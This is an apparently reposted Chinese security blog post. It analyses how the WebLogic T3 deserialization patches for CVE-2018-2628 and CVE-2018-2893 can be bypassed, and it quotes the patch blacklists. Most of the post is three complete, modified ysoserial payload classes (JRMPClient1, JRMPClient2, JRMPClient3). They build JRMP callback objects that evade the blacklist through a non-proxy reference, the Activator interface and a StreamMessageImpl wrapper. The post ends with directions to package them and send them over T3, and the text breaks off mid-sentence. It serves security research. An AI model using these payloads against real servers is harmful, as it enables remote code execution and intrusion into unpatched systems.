1. 程式人生 > >Java 安全之Weblogic 2018-2628&2018-2893分析

Java 安全之Weblogic 2018-2628&2018-2893分析

# Java 安全之Weblogic 2018-2628&2018-2893分析 ## 0x00 前言 續上一個weblogic T3協議的反序列化漏洞接著分析該補丁的繞過方式,根據weblogic的補丁還是挺難找的,後面的分析中沒有補丁看不到weblogic修復的細節,但是也不難猜處weblogic的這些修復都是老做法,使用黑名單的方式去進行修補漏洞。 ## 0x01 補丁分析 由於沒拿到補丁,這裡從廖師傅文章裡面扣除補丁的細節。 ```java protected Class resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException { String[] arr$ = interfaces; int len$ = interfaces.length; for(int i$ = 0; i$ < len$; ++i$) { String intf = arr$[i$]; if(intf.equals("java.rmi.registry.Registry")) { throw new InvalidObjectException("Unauthorized proxy deserialization"); } } return super.resolveProxyClass(interfaces); } ``` `weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream`類的地方添加了一個`resolveProxyClass`方法,將`resolveProxyClass`給重寫了,添加了一個傳遞過來的資料對應的介面進行遍歷驗證,如果為`java.rmi.registry.Registry`的話就直接丟擲異常。如果不為`java.rmi.registry.Registry`就呼叫父類的`resolveProxyClass`。 ## 0x02 繞過思路 在2018-2628的繞過方式其實有兩種,分別是: 1. 在補丁裡面僅僅只是限制了需要反序列化的資料為`使用java.rmi.registry.Registry`以外的類的介面,但是其實遠端物件的介面不止`java.rmi.registry.Registry`這麼一個。 廖師傅這裡提供的繞過方式是將該介面替換成`java.rmi.activation.Activator`。即可繞過。 2. ysoserial修改把Proxy部分去除掉,即可繞過補丁。這裡來思考一下為什麼Proxy部分去除就可以繞過了呢? 在前面的原生readobject分析文章裡面講到過readobject裡面會走兩個分支,反序列化的是動態代理的物件的話就會走`resolveProxyClass`分支裡面,這裡去除了Proxy部分內容,也就是說不使用動態代理的方式生成payload進行反序列化自然不會走到`resolveProxyClass`分支裡面去。 ## 0x03 利用思路 後面的除錯內容,其實和前面的都是一樣的,這裡直接講講利用。 ### 改寫ysoserial 利用思路一,不使用代理物件: ```java package ysoserial.payloads; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.util.Random; public class JRMPClient1 extends PayloadRunner implements ObjectPayload { public Object getObject(final String command) throws Exception { String host; int port; int sep = command.indexOf(':'); if (sep < 0) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); return ref; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader()); PayloadRunner.run(JRMPClient1.class, args); } } ``` 對JRMPClient做一個小小的改動。 ![](https://img2020.cnblogs.com/blog/1993669/202101/1993669-20210119021802732-1199422589.png) 利用方式二,修改實現的遠端介面為`java.rmi.activation.Activator`: ```java package ysoserial.payloads; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import java.lang.reflect.Proxy; import java.rmi.activation.Activator; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient2 extends PayloadRunner implements ObjectPayload { public Activator getObject (final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] { Activator.class }, obj); return proxy; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader()); PayloadRunner.run(JRMPClient2.class, args); } } ``` ![](https://img2020.cnblogs.com/blog/1993669/202101/1993669-20210119021815781-966744890.png) ## 0x04 CVE-2018-2893 CVE-2018-2893是CVE2018-2628的繞過,先來檢視一下CVE-2018-2628的補丁細節 ```java private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"}; ``` ### 改寫ysoserial 這裡利用方式是將遠端的gadget物件封裝進`streamMessageImpl`類裡面,和CVE-2016-0638一樣,不過這裡用的是JRMPClient的gadget。 在改寫的時候需要,注意幾個細節。JDK裡面沒有`streamMessageImpl`類,這裡需要講weblogic的一些依賴jar包和類的程式碼給複製過來。這裡是講weblogic_cmd裡面的部分內容扣出來放到了yso裡面。 ```java package ysoserial.payloads; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import weblogic.jms.common.StreamMessageImpl; import ysoserial.Serializer; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import java.lang.reflect.Proxy; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient3 extends PayloadRunner implements ObjectPayload { public Object streamMessageImpl(byte[] object) { StreamMessageImpl streamMessage = new StreamMessageImpl(); streamMessage.setDataBuffer(object, object.length); return streamMessage; } public Object getObject (final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if (sep < 0) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID objID = new ObjID(new Random().nextInt()); TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port); UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false)); RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef); Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler); return streamMessageImpl(Serializer.serialize(object)); } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader()); PayloadRunner.run(JRMPClient3.class, args); } } ``` ![](https://img2020.cnblogs.com/blog/1993669/202101/1993669-20210119021828604-367905673.png) ### 參考文章 [Weblogic JRMP反序列化及繞過分析](https://y4er.com/post/weblogic-jrmp/) [weblogic之CVE-2017-3248,CVE-2018-2628,CVE-2018-2893,CVE-2018-3245反序列繞過分析](https://www.cnblogs.com/afanti/p/10256840.html) ## 0x05 末尾的絮絮叨叨 其實知道繞過方式和利用方式後,從yso進行一個修改打包成jar包,使用到上次2017-3248的時候用到的exp修改引數,通過T3協議傳送payload過去就可以實現繞過了。和前面的內容都是一樣的都是同一個漏洞,所以在這裡不做多的